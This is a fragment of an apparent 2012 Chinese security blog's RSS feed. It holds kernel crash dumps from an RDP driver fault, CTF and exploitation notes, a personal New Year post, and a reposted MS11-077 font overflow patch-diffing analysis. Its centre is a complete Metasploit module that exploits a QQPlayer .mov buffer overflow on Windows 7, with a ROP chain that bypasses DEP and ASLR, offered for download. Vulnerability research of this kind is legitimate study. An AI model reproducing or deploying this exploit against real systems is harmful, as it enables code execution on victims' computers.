b43d9a58 939a4aa9 termdd!_IcaCallSd+0&#215;37<br />
b43d9a78 939a4f68 termdd!_IcaCallStack+0&#215;57<br />
b43d9ac0 939a2e91 termdd!IcaDeviceControlStack+0&#215;466<br />
b43d9af0 939a3065 termdd!IcaDeviceControl+0&#215;59<br />
b43d9b08 8484f4bc termdd!IcaDispatch+0x13f<br />
b43d9b20 84a5144e nt!IofCallDriver+0&#215;63<br />
b43d9b40 84a6e23f nt!IopSynchronousServiceTail+0x1f8<br />
b43d9bdc 84a70a1a nt!IopXxxControlFile+0x6aa<br />
b43d9c10 855d0e7d nt!NtDeviceIoControlFile+0x2a<br />
WARNING: Stack unwind information not available. Following frames may be wrong.<br />
b43d9d04 8485648a Hookport+0x4e7d<br />
b43d9d04 775d6194 nt!KiFastCallEntry+0x12a<br />
02f0e7e8 00000000 0x775d6194<br />
1: kd> r<br />
eax=0a0b05ff ebx=a431f8f0 ecx=00000151 edx=00640075 esi=0a0b05ff edi=d7abdb00<br />
eip=939a0987 esp=b43d9878 ebp=b43d9884 iopl=0         nv up ei pl nz na pe nc<br />
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010206<br />
termdd!IcaBufferAllocEx+0x1b:<br />
939a0987 8b4618          mov     eax,dword ptr [esi+18h] ds:0023:0a0b0617=????????<br />
1: kd> !analyze -v<br />
*******************************************************************************<br />
*                                                                             *<br />
*                        Bugcheck Analysis                                    *<br />
*                                                                             *<br />
*******************************************************************************</p>
<p>KERNEL_MODE_EXCEPTION_NOT_HANDLED_M (1000008e)<br />
This is a very common bugcheck.  Usually the exception address pinpoints<br />
the driver/function that caused the problem.  Always note this address<br />
as well as the link date of the driver/image that contains this address.<br />
Some common problems are exception code 0&#215;80000003.  This means a hard<br />
coded breakpoint or assertion was hit, but this system was booted<br />
/NODEBUG.  This is not supposed to happen as developers should never have<br />
hardcoded breakpoints in retail code, but &#8230;<br />
If this happens, make sure a debugger gets connected, and the<br />
system is booted /DEBUG.  This will let us see why this breakpoint is<br />
happening.<br />
Arguments:<br />
Arg1: c0000005, The exception code that was not handled<br />
Arg2: 939a0987, The address that the exception occurred at<br />
Arg3: b43d9804, Trap Frame<br />
Arg4: 00000000</p>
<p>Debugging Details:<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>EXCEPTION_CODE: (NTSTATUS) 0xc0000005 &#8211; 0x%08lx</p>
<p>FAULTING_IP:<br />
termdd!IcaBufferAllocEx+1b<br />
939a0987 8b4618          mov     eax,dword ptr [esi+18h]</p>
<p>TRAP_FRAME:  b43d9804 &#8212; (.trap 0xffffffffb43d9804)<br />
ErrCode = 00000000<br />
eax=0a0b05ff ebx=a431f8f0 ecx=00000151 edx=00640075 esi=0a0b05ff edi=d7abdb00<br />
eip=939a0987 esp=b43d9878 ebp=b43d9884 iopl=0         nv up ei pl nz na pe nc<br />
cs=0008  ss=0010  ds=0023  es=0023  fs=0030  gs=0000             efl=00010206<br />
termdd!IcaBufferAllocEx+0x1b:<br />
939a0987 8b4618          mov     eax,dword ptr [esi+18h] ds:0023:0a0b0617=????????<br />
Resetting default scope</p>
<p>CUSTOMER_CRASH_COUNT:  1</p>
<p>DEFAULT_BUCKET_ID:  VISTA_DRIVER_FAULT</p>
<p>BUGCHECK_STR:  0x8E</p>
<p>PROCESS_NAME:  svchost.exe</p>
<p>CURRENT_IRQL:  0</p>
<p>LAST_CONTROL_TRANSFER:  from a4a11232 to 939a0987</p>
<p>STACK_TEXT:<br />
b43d9884 a4a11232 d7abdb00 00000000 00d800b1 termdd!IcaBufferAllocEx+0x1b<br />
b43d98a4 a4a2b405 d7abdb00 00000000 00d800b1 RDPWD!WDICART_IcaBufferAllocEx+0&#215;24<br />
b43d98c8 a4a2b46e b7a30c88 d7abdb00 00000000 RDPWD!StackBufferAllocEx+0x5c<br />
b43d98f4 a4a1c722 c1edd270 00000010 a431f604 RDPWD!MCSDetachUserRequest+0&#215;29<br />
b43d9908 a4a170ff a431f8f0 b43d9920 a4a1666c RDPWD!NMDetachUserReq+0&#215;14<br />
b43d9914 a4a1666c a431f8f0 b43d9930 a4a1c821 RDPWD!NM_Disconnect+0&#215;16<br />
b43d9920 a4a1c821 a431f604 a431f8f0 b43d9950 RDPWD!SM_Disconnect+0&#215;27<br />
b43d9930 a4a1c762 a431f604 00000000 00000001 RDPWD!SM_OnConnected+0&#215;70<br />
b43d9950 a4a174d3 a431f8f0 00000002 a431f604 RDPWD!NMAbortConnect+0&#215;23<br />
b43d9990 a4a16f3c 0031f8f0 00000001 a431f3fe RDPWD!NM_Connect+0&#215;68<br />
b43d99b0 a4a14f64 a431f604 89e8cdc0 89e8cdcc RDPWD!SM_Connect+0x11d<br />
b43d99ec a4a15764 a431f008 89e8ccdc 89e8cdc0 RDPWD!WDWConnect+0&#215;557<br />
b43d9a28 a4a108df a431f008 00000000 87a11260 RDPWD!WDLIB_TShareConfConnect+0xa0<br />
b43d9a3c 939a45f1 a431f008 b43d9a98 8a6f0678 RDPWD!WDSYS_Ioctl+0x6c9<br />
b43d9a58 939a4aa9 87a11260 00000005 b43d9a98 termdd!_IcaCallSd+0&#215;37<br />
b43d9a78 939a4f68 8a6f0670 00000005 b43d9a98 termdd!_IcaCallStack+0&#215;57<br />
b43d9ac0 939a2e91 8a6f0670 86eb0798 86eb0808 termdd!IcaDeviceControlStack+0&#215;466<br />
b43d9af0 939a3065 86eb0798 86eb0808 87a4a038 termdd!IcaDeviceControl+0&#215;59<br />
b43d9b08 8484f4bc 87fe48f8 86eb0798 86eb0798 termdd!IcaDispatch+0x13f<br />
b43d9b20 84a5144e 87a4a038 86eb0798 86eb0808 nt!IofCallDriver+0&#215;63<br />
b43d9b40 84a6e23f 87fe48f8 87a4a038 00000000 nt!IopSynchronousServiceTail+0x1f8<br />
b43d9bdc 84a70a1a 87fe48f8 86eb0798 00000000 nt!IopXxxControlFile+0x6aa<br />
b43d9c10 855d0e7d 00000754 00000000 00000000 nt!NtDeviceIoControlFile+0x2a<br />
WARNING: Stack unwind information not available. Following frames may be wrong.<br />
b43d9d04 8485648a 00000754 00000000 00000000 Hookport+0x4e7d<br />
b43d9d04 775d6194 00000754 00000000 00000000 nt!KiFastCallEntry+0x12a<br />
02f0e7e8 00000000 00000000 00000000 00000000 0x775d6194</p>
<p>STACK_COMMAND:  kb</p>
<p>FOLLOWUP_IP:<br />
termdd!IcaBufferAllocEx+1b<br />
939a0987 8b4618          mov     eax,dword ptr [esi+18h]</p>
<p>SYMBOL_STACK_INDEX:  0</p>
<p>SYMBOL_NAME:  termdd!IcaBufferAllocEx+1b</p>
<p>FOLLOWUP_NAME:  MachineOwner</p>
<p>MODULE_NAME: termdd</p>
<p>IMAGE_NAME:  termdd.sys</p>
<p>DEBUG_FLR_IMAGE_TIMESTAMP:  4a5bcadf</p>
<p>FAILURE_BUCKET_ID:  0x8E_termdd!IcaBufferAllocEx+1b</p>
<p>BUCKET_ID:  0x8E_termdd!IcaBufferAllocEx+1b</p>
<p>Followup: MachineOwner<br />
&#8212;&#8212;&#8212;</p>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2012/01/2012/' rel='bookmark' title='Permanent Link: 2012'>2012</a></li>
<li><a href='http://cq-cser.cn/2012/05/simple-version-of-2012-0158/' rel='bookmark' title='Permanent Link: simple version of 2012-0158'>simple version of 2012-0158</a></li>
<li><a href='http://cq-cser.cn/2011/10/darungrim/' rel='bookmark' title='Permanent Link: darungrim'>darungrim</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2012/03/2012-0002/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>FUNNY POSTS</title>
		<link>http://cq-cser.cn/2012/03/funny-posts/</link>
		<comments>http://cq-cser.cn/2012/03/funny-posts/#comments</comments>
		<pubDate>Fri, 02 Mar 2012 09:03:01 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[其他]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=1544</guid>
		<description><![CDATA[http://gdtr.wordpress.com/2012/02/22/exploiting-cve-2011-2371-without-non-aslr-modules/ https://www.corelan.be/index.php/2012/02/29/debugging-fun-putting-a-process-to-sleep/ 内存补丁 http://ifsec.blogspot.com/2011/06/memory-disclosure-technique-for.html 信息泄露，基质查找技术 通过覆盖JAVASRIPT内存结构的长度，完成读取不应该读取的内存 http://leetmore.ctf.su/CODEGATE2012 BIN500  2层VM解码+PYTHON解码。其实只用带一个就OK。。作者小粗心了下。。 BIN400 好怀念，，此处为暴力模拟键盘，autohotkey script,nice！ BIN300就是UNPACK+分析+识别 for500 又见trid,参见mark0.net/soft-trid-e.html 最近觉得BIN什么的也蛮好玩啦，VUL出题的话太难了。 No related posts.


No related posts.]]></description>
			<content:encoded><![CDATA[<p><a href="http://gdtr.wordpress.com/2012/02/22/exploiting-cve-2011-2371-without-non-aslr-modules/">http://gdtr.wordpress.com/2012/02/22/exploiting-cve-2011-2371-without-non-aslr-modules/</a></p>
<p><a href="https://www.corelan.be/index.php/2012/02/29/debugging-fun-putting-a-process-to-sleep/">https://www.corelan.be/index.php/2012/02/29/debugging-fun-putting-a-process-to-sleep/</a></p>
<p>内存补丁</p>
<p><a href="http://ifsec.blogspot.com/2011/06/memory-disclosure-technique-for.html">http://ifsec.blogspot.com/2011/06/memory-disclosure-technique-for.html</a></p>
<p>信息泄露，基质查找技术</p>
<p>通过覆盖JAVASRIPT内存结构的长度，完成读取不应该读取的内存</p>
<p><a href="http://leetmore.ctf.su/">http://leetmore.ctf.su/</a>CODEGATE2012</p>
<p>BIN500  2层VM解码+PYTHON解码。其实只用带一个就OK。。作者小粗心了下。。</p>
<p>BIN400 好怀念，，此处为暴力模拟键盘，autohotkey script,nice！</p>
<p>BIN300就是UNPACK+分析+识别</p>
<p>for500 又见trid,参见mark0.net/soft-trid-e.html</p>
<p>最近觉得BIN什么的也蛮好玩啦，VUL出题的话太难了。</p>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2012/03/funny-posts/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>2012</title>
		<link>http://cq-cser.cn/2012/01/2012/</link>
		<comments>http://cq-cser.cn/2012/01/2012/#comments</comments>
		<pubDate>Sun, 15 Jan 2012 08:17:54 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[其他]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=1540</guid>
		<description><![CDATA[新年快到了，昨天到家了，整理下最近买的，强的，别人送的 各种怀念啊！ 新年要有新计划，还是写下来约束力大点。 1.OS,BROWSER,MUTIL PLAYER 3个重点方向要有成果 2.完善理论，开发自用工具，向大虾学习。 3.忘记一些东东，稳定下来，培养新习惯。 4.实践新技术方向 Related posts:2012-0002 simple version of 2012-0158


Related posts:<ol><li><a href='http://cq-cser.cn/2012/03/2012-0002/' rel='bookmark' title='Permanent Link: 2012-0002'>2012-0002</a></li>
<li><a href='http://cq-cser.cn/2012/05/simple-version-of-2012-0158/' rel='bookmark' title='Permanent Link: simple version of 2012-0158'>simple version of 2012-0158</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><span id="more-1540"></span>新年快到了，昨天到家了，整理下最近买的，强的，别人送的</p>
<p style="text-align: center;"><a href="http://cq-cser.cn/wp-content/uploads/2012/01/CIMG3346.jpg"><img class="aligncenter size-large wp-image-1541" title="CIMG3346" src="http://cq-cser.cn/wp-content/uploads/2012/01/CIMG3346-1024x768.jpg" alt="" width="614" height="461" /></a></p>
<p style="text-align: left;">各种怀念啊！</p>
<p style="text-align: left;">新年要有新计划，还是写下来约束力大点。</p>
<p style="text-align: left;">1.OS,BROWSER,MUTIL PLAYER 3个重点方向要有成果</p>
<p style="text-align: left;">2.完善理论，开发自用工具，向大虾学习。</p>
<p style="text-align: left;">3.忘记一些东东，稳定下来，培养新习惯。</p>
<p style="text-align: left;">4.实践新技术方向</p>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2012/03/2012-0002/' rel='bookmark' title='Permanent Link: 2012-0002'>2012-0002</a></li>
<li><a href='http://cq-cser.cn/2012/05/simple-version-of-2012-0158/' rel='bookmark' title='Permanent Link: simple version of 2012-0158'>simple version of 2012-0158</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2012/01/2012/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS</title>
		<link>http://cq-cser.cn/2011/11/qqplayer-pict-pnsize-buffer-overflow-win7-dep_aslr-bypass/</link>
		<comments>http://cq-cser.cn/2011/11/qqplayer-pict-pnsize-buffer-overflow-win7-dep_aslr-bypass/#comments</comments>
		<pubDate>Mon, 21 Nov 2011 08:26:22 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[其他]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=1531</guid>
		<description><![CDATA[http://cq-cser.cn/wp-content/plugins/downloads-manager/upload/qqplayer.rb 样本： http://115.com/file/cl3naedv http://115.com/file/aqu3qzmk # Exploit Title: QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS # Date: 2011,11,21 # Author: hellok(warptencq[at]gmail.com) # Software Link: http://dl_dir.qq.com/invc/qqplayer/QQPlayer_Setup_32_845.exe # Version: 32_845(lastest) # Tested on: WIN7 require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS', [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2012/05/simple-version-of-2012-0158/' rel='bookmark' title='Permanent Link: simple version of 2012-0158'>simple version of 2012-0158</a></li>
<li><a href='http://cq-cser.cn/2012/04/feiq2008-2-5-0-0/' rel='bookmark' title='Permanent Link: feiq2008.2.5.0.0'>feiq2008.2.5.0.0</a></li>
<li><a href='http://cq-cser.cn/2011/11/what_ever/' rel='bookmark' title='Permanent Link: 记事'>记事</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><a href="http://cq-cser.cn/wp-content/plugins/downloads-manager/upload/qqplayer.rb">http://cq-cser.cn/wp-content/plugins/downloads-manager/upload/qqplayer.rb</a><br />
样本：</p>
<p>http://115.com/file/cl3naedv</p>
<p>http://115.com/file/aqu3qzmk</p>
<p><code># Exploit Title: QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS<br />
# Date: 2011,11,21<br />
# Author: hellok(warptencq[at]gmail.com)<br />
# Software Link: http://dl_dir.qq.com/invc/qqplayer/QQPlayer_Setup_32_845.exe<br />
# Version: 32_845(lastest)<br />
# Tested on: WIN7<span id="more-1531"></span><br />
require 'msf/core'<br />
class Metasploit3 < Msf::Exploit::Remote<br />
	include Msf::Exploit::FILEFORMAT</p>
<p>	def initialize(info = {})<br />
		super(update_info(info,<br />
			'Name'           => 'QQPLAYER PICT PnSize Buffer Overflow WIN7 DEP_ASLR BYPASS',<br />
			'Description'    => %q{<br />
					This module exploits a vulnerability in QQPLAYER Player 3.2.<br />
				When opening a .mov file containing a specially crafted PnSize value, an attacker<br />
				may be able to execute arbitrary code.<br />
			},<br />
			'License'        => MSF_LICENSE,<br />
			'Author'         =><br />
				[<br />
					'hellok',  #special thank corelanc0d3r for 'mona'<br />
				],<br />
			'References'     =><br />
				[<br />
				],<br />
			'DefaultOptions' =><br />
				{<br />
					'EXITFUNC' => 'process',<br />
					'DisablePayloadHandler' => 'true',<br />
				},<br />
			'Payload'        =><br />
				{<br />
					'Space'          => 750,<br />
					'BadChars'       => "",  #Memcpy<br />
					'EncoderType'    => Msf::Encoder::Type::AlphanumUpper,<br />
					'DisableNops'    =>  'True',<br />
					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",<br />
					'EncoderOptions' =><br />
						{<br />
							'BufferRegister' => 'ECX',<br />
						},<br />
				},<br />
			'Platform' => 'win',<br />
			'Targets'        =><br />
				[<br />
					[ 'Windows 7', { 'Ret' => 0x67664cde } ],<br />
				],<br />
			'Privileged'     => false,<br />
			'DisclosureDate' => '11 21 2011',<br />
			'DefaultTarget'  => 0))</p>
<p>		register_options(<br />
			[<br />
				OptString.new('FILENAME',   [ false, 'The file name.',  'msf.mov' ]),<br />
			], self.class)<br />
	end<br />
	def exploit<br />
		# !mona rop<br />
		rop_gadgets =<br />
		[</p>
<p>			0x00418007,	# POP ECX # RETN (QQPlayer.exe)<br />
			0x12345678,<br />
			0x67664CE4,<br />
			0x01020304,<br />
			0x10203040,<br />
			0x22331122,<br />
			0x23456789,</p>
<p>			0x00418007,	# POP ECX # RETN (QQPlayer.exe)<br />
			0x00a9c18c,	# <- *&#038;VirtualProtect()<br />
			0x0054f100,	# MOV EAX,DWORD PTR DS:[ECX] # RETN (QQPlayer.exe)<br />
			#0x008e750c, LEA ESI,EAX # RETN (QQPlayer.exe)<br />
			0x008cf099,	# XCHG EAX,ESI # RETN</p>
<p>			0x6497aaad,	# POP EBP # RETN (avformat-52.dll)<br />
			0x100272bf,	# ptr to 'call esp' (from i18nu.dll)<br />
			0x005fc00b,	# POP EBX # RETN (QQPlayer.exe)<br />
			0x00000331,	# <- change size to mark as executable if needed (-> ebx)<br />
			0x00418007,	# POP ECX # RETN (QQPlayer.exe)<br />
			0x63d18000,	# RW pointer (lpOldProtect) (-> ecx)<br />
			0x63d05001,	# POP EDI # RETN (avutil-49.dll)<br />
			0x63d05002,	# ROP NOP (-> edi)<br />
			0x008bf00b,	# POP EDX # RETN (QQPlayer.exe)<br />
			0x00000040,	# newProtect (0x40) (-> edx)<br />
			0x00468800,	# POP EAX # RETN (QQPlayer.exe)<br />
			0x90909090,	# NOPS (-> eax)<br />
			0x008bad5c,	# PUSHAD # RETN (QQPlayer.exe)<br />
		# rop chain generated by mona.py<br />
		# note : this chain may not work out of the box<br />
		# you may have to change order or fix some gadgets,<br />
		# but it should give you a head start<br />
		].pack("V*")</p>
<p>		stackpivot = [target.ret].pack('L')</p>
<p>		buffer =rand_text_alpha_upper(90)#2<br />
		buffer << rop_gadgets<br />
		buffer << payload.encoded</p>
<p>		junk = rand_text_alpha_upper(2306 - buffer.length)</p>
<p>		buffer << junk<br />
		buffer << stackpivot<br />
		buffer << rand_text_alpha_upper(3000)#3000</p>
<p>		path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0257.mov" )<br />
		fd = File.open(path, "rb" )<br />
		sploit = fd.read(fd.stat.size)<br />
		fd.close</p>
<p>		sploit << buffer</p>
<p>		file_create(sploit)<br />
	end<br />
end<br />
</code></p>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2012/05/simple-version-of-2012-0158/' rel='bookmark' title='Permanent Link: simple version of 2012-0158'>simple version of 2012-0158</a></li>
<li><a href='http://cq-cser.cn/2012/04/feiq2008-2-5-0-0/' rel='bookmark' title='Permanent Link: feiq2008.2.5.0.0'>feiq2008.2.5.0.0</a></li>
<li><a href='http://cq-cser.cn/2011/11/what_ever/' rel='bookmark' title='Permanent Link: 记事'>记事</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2011/11/qqplayer-pict-pnsize-buffer-overflow-win7-dep_aslr-bypass/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>darungrim</title>
		<link>http://cq-cser.cn/2011/10/darungrim/</link>
		<comments>http://cq-cser.cn/2011/10/darungrim/#comments</comments>
		<pubDate>Sat, 15 Oct 2011 03:51:52 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[其他]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=1502</guid>
		<description><![CDATA[DarunGrim is a binary diffing tool. DarunGrim is a free diffing tool which provides binary diffing functionality. Binary diffing is a powerful technique to reverse-engineer patches released by software vendors like Microsoft. Especially by analyzing security patches you can dig into the details of the vulnerabilities it&#8217;s fixing. You can use that information to learn [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2011/12/war3%e6%a0%bc%e5%bc%8f/' rel='bookmark' title='Permanent Link: WAR3格式'>WAR3格式</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>DarunGrim is a binary diffing tool. DarunGrim is a free diffing tool which provides binary diffing functionality.<span id="more-1502"></span><br />
Binary diffing is a powerful technique to reverse-engineer patches released by software vendors like Microsoft. Especially by analyzing security patches you can dig into the details of the vulnerabilities it&#8217;s fixing. You can use that information to learn what causes software break. Also that information can help you write some protection codes for those specific vulnerabilities. It&#8217;s also used to write 1-day exploits by malware writers or security researchers. </p>
<p>http://www.darungrim.org/</p>
<p>另转贴几篇文，墙什么的真DT。<br />
原文在这里：http://exploitshop.wordpress.com/2011/10/12/ms11-077-vulnerabilities-in-windows-kernel-mode-drivers-could-allow-remote-code-execution-2567053/<br />
MS11-077: Vulnerabilities in Windows Kernel-Mode Drivers Could Allow Remote Code Execution (2567053)<br />
Posted: 2011/10/12 | Author: lifeasageek | Filed under: Uncategorized |Leave a comment »<br />
Download MS11-077 .fon buffer overrun exploit : my.fon.tar.gz<br />
Download very simple *.fon* fuzzer like tool : ms11-077-fon-exploit.tar.gz</p>
<p>Related CVEs<br />
Font Library File Buffer Overrun Vulnerability – CVE-2011-2003</p>
<p>Diffing Binary Information<br />
win32k.sys win32k.dll: 6.1.7601.21744 (win7sp1_ldr.110610-1504) VS 6.1.7601.21811 (win7sp1_ldr.110905-1505) (on Windows 7, 32bit)</p>
<p>Descriptions<br />
This posting is no technical analysis, but it is driven by hardcore &#038; intuition based analysis to make 1-day exploit.</p>
<p>MS11-077 was confusing at the first time. Because it involves 4 different vulnerabilities, we should try to match up these vulnerabilities whenever we reverse engineer the function. This time I will not show the DarunGrim diffing results cause it showed around 50 different functions! Don’t get frustrated though. It’s not going to take that long time to take a look all of them. Within 10 secs for each of the function, you might be able to decide whether the function is interesting or not.</p>
<p>Before getting to the details, you may also look into these. Three functions seem to be related to the null dereference bugs (_NtUserfnINLBOXSTRING(), _NtUserfnSENTDDEMSG(), _InterQueueMsgCleanup()). The function, _ConvertToAndFromWideChar(), seem to be related to “Win32k Use After Free Vulnerability – CVE-2011-2011″. You must be able to understand what I am meaning by here as soon as you open up these functions with DarunGrim.</p>
<p>What I want to focus in this post is .FON buffer overrun bug (CVE-2011-2003). From DarunGrim diffing result, _BmfdOpenFontContext() showed the different point below.</p>
<p>What ??? Patched version only adds immediate value ’5′ to some value (add eax, 5), and that computed value is related to decide the size of allocation. Seems interesting but strange. It is time to see the details to understand the contexts. Here goes the disassembly around the changed BB of the old win32k.sys.</p>
<p>.text:90857F82 loc_90857F82: ; CODE XREF: BmfdOpenFontContext(x)+E2j<br />
.text:90857F82 mov eax, [ebp+numElement]<br />
.text:90857F85 add eax, 7<br />
.text:90857F88 shr eax, 3<br />
.text:90857F8B mov [ebp+var_4], ecx<br />
.text:90857F8E cmp eax, 100h<br />
.text:90857F93 jbe short loc_90857FA1<br />
.text:90857F95 add eax, 28h<br />
.text:90857F98 mov [ebp+var_4], 3<br />
.text:90857F9F jmp short loc_90857FA4<br />
.text:90857FA1<br />
.text:90857FA1 loc_90857FA1: ; CODE XREF: BmfdOpenFontContext(x)+E7j<br />
.text:90857FA1 ; BmfdOpenFontContext(x)+FAj<br />
.text:90857FA1 mov eax, [ebp+preDefinedSize]<br />
.text:90857FA4<br />
.text:90857FA4 loc_90857FA4: ; CODE XREF: BmfdOpenFontContext(x)+106j<br />
.text:90857FA4 push 64666D42h ; Tag<br />
.text:90857FA9 push eax ; int<br />
.text:90857FAA push 0 ; char<br />
.text:90857FAC call _EngAllocMem@12 ; EngAllocMem(x,x,x)</p>
<p>This is the pseudo-code of these assembly. The variable naming was done at my convenience.</p>
<p>uint preDefinedSize = 0&#215;28; // mov dword ptr [ebp-14h], 28h<br />
sizeToAllocate = (numElement + 7) / 8;</p>
<p>if( sizeToAllocate <= 0×100)<br />
sizeToAllocate = preDefinedSize;<br />
else<br />
sizeToAllocate += 0×28;</p>
<p>EngAllocMem(0, sizeToAllocate, 0x64666d42);</p>
<p>All right. In the patched version, the sizeToAllocate variable would be computed as “((numElement + 7) / 8 ) + 5″. After spending some time, we suspected some range of the values, which should have taken ‘else’ branch, mistakenly took ‘then’ branch. Because it took ‘then’ branch, the allocated size was too small and this small size of allocation would lead to buffer overrun later (We understand this interpretation is far from scientific or logical reverse engineering, but you should know that this sloppy logic is enough to write an 1-day exploit.)</p>
<p>More specifically, we suspected the numElement values, satisfying 0xaa <= (numElement +7) /8 <= 0×100, would cause trouble (though we don’t know why and how !). We got this false fail idea in the patched binary from D. Brumeley et al.’s paper, “Automatic Patch-Based Exploit Generation is Possible: Techniques and Implications” (http://www.cs.berkeley.edu/~dawnsong/papers/apeg.pdf).</p>
<p>Things are getting clear. Our goal should be to find the input which satisfies the above statement. From the MS technet description, “improper handling of a specially crafted .fon font file”, and the function name _BmfdOpenFontContext(), which implies bitmap font driver something, we decided to manipulate .fon file. To play with .fon files, we implemented very simple ‘.fon’ file format recognizing fuzzer like tool. Using this tool, we figured ‘width’ field is related (see our *fuzzer* for details) to control numElement variable, and it leads to ‘heap overflow’ when the variable satisfies the vulnerable condition. What’s the interesting is that you only need to visit the directly containing .fon file to trigger bitmap font driver routines </p>
<p>I am attaching the .fon font file generated by our python codes (upon mkwinfont by Simon Tatham) and windbg crash dumps. We are not sure this bug can actually be used to execute the arbitrary codes, but we’d like to leave this question to you guys.</p>
<p>Download MS11-077 .fon buffer overrun exploit : my.fon.tar.gz<br />
Download very simple *.fon* fuzzer like tool : ms11-077-fon-exploit.tar.gz</p>
<p>Breakpoint 1 hit<br />
win32k!BmfdOpenFontContext+0xec:<br />
90857f85 83c007 add eax,7<br />
kd> r<br />
eax=00000730 ebx=fe9aacf0 ecx=00000001 edx=00000001 esi=00000028 edi=fe7fc1f8<br />
eip=90857f85 esp=8a2af8d0 ebp=8a2af904 iopl=0 nv up ei pl nz na pe nc<br />
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00000206<br />
win32k!BmfdOpenFontContext+0xec:<br />
90857f85 83c007 add eax,7<br />
kd> r eax<br />
eax=00000730<br />
kd> p<br />
win32k!BmfdOpenFontContext+0xef:<br />
90857f88 c1e803 shr eax,3<br />
kd> p<br />
win32k!BmfdOpenFontContext+0xf2:<br />
90857f8b 894dfc mov dword ptr [ebp-4],ecx<br />
kd> r eax<br />
eax=000000e6<br />
kd> g</p>
<p>*** Fatal System Error: 0×00000019<br />
(0×00000020,0xFE1ED440,0xFE1ED5A0,0x4A2C000C)</p>
<p>Break instruction exception – code 80000003 (first chance)</p>
<p>A fatal system error has occurred.<br />
Debugger entered on first try; Bugcheck callbacks have not been invoked.</p>
<p>A fatal system error has occurred.</p>
<p>Connected to Windows 7 7600 x86 compatible target at (Wed Oct 12 18:38:42.012 2011 (UTC – 4:00)), ptr64 FALSE<br />
Loading Kernel Symbols<br />
………………………………………………………<br />
……………………………………………………….<br />
…………………..<br />
Loading User Symbols<br />
…………….<br />
Loading unloaded module list<br />
…..<br />
*******************************************************************************<br />
* *<br />
* Bugcheck Analysis *<br />
* *<br />
*******************************************************************************</p>
<p>Use !analyze -v to get detailed debugging information.</p>
<p>BugCheck 19, {20, fe1ed440, fe1ed5a0, 4a2c000c}</p>
<p>Probably caused by : win32k.sys ( win32k!EngFreeMem+1f )</p>
<p>Followup: MachineOwner<br />
———</p>
<p>nt!RtlpBreakWithStatusInstruction:<br />
828be394 cc int 3<br />
kd> !analyze -v<br />
*******************************************************************************<br />
* *<br />
* Bugcheck Analysis *<br />
* *<br />
*******************************************************************************</p>
<p>BAD_POOL_HEADER (19)<br />
The pool is already corrupt at the time of the current request.<br />
This may or may not be due to the caller.<br />
The internal pool links must be walked to figure out a possible cause of<br />
the problem, and then special pool applied to the suspect tags or the driver<br />
verifier to a suspect driver.<br />
Arguments:<br />
Arg1: 00000020, a pool block header size is corrupt.<br />
Arg2: fe1ed440, The pool entry we were looking for within the page.<br />
Arg3: fe1ed5a0, The next pool entry.<br />
Arg4: 4a2c000c, (reserved)</p>
<p>Debugging Details:<br />
——————</p>
<p>BUGCHECK_STR: 0x19_20</p>
<p>POOL_ADDRESS: fe1ed440 Paged session pool</p>
<p>DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT</p>
<p>PROCESS_NAME: csrss.exe</p>
<p>CURRENT_IRQL: 2</p>
<p>LAST_CONTROL_TRANSFER: from 8292fe71 to 828be394</p>
<p>STACK_TEXT:<br />
8a2af3b4 8292fe71 00000003 dda0d4a7 00000065 nt!RtlpBreakWithStatusInstruction<br />
8a2af404 8293096d 00000003 fe1ed440 000001ff nt!KiBugCheckDebugBreak+0x1c<br />
8a2af7c8 829721b6 00000019 00000020 fe1ed440 nt!KeBugCheck2+0x68b<br />
8a2af844 9088c189 fe1ed448 00000000 fe7fc1d8 nt!ExFreePoolWithTag+0x1b1<br />
8a2af858 90950204 fe1ed458 90959cdf fe40f480 win32k!EngFreeMem+0x1f<br />
8a2af86c 90959cf5 fe1ed458 8a2af8d8 8a2af8b4 win32k!BmfdCloseFontContext+0×41<br />
8a2af87c 90965501 fe40f480 00000000 8a2af930 win32k!BmfdDestroyFont+0×16<br />
8a2af8b4 90965554 fe40f480 00000000 8a2afc70 win32k!PDEVOBJ::DestroyFont+0×67<br />
8a2af8e4 908d0d1e 00000000 8a2af910 00000001 win32k!RFONTOBJ::vDeleteRFONT+0×33<br />
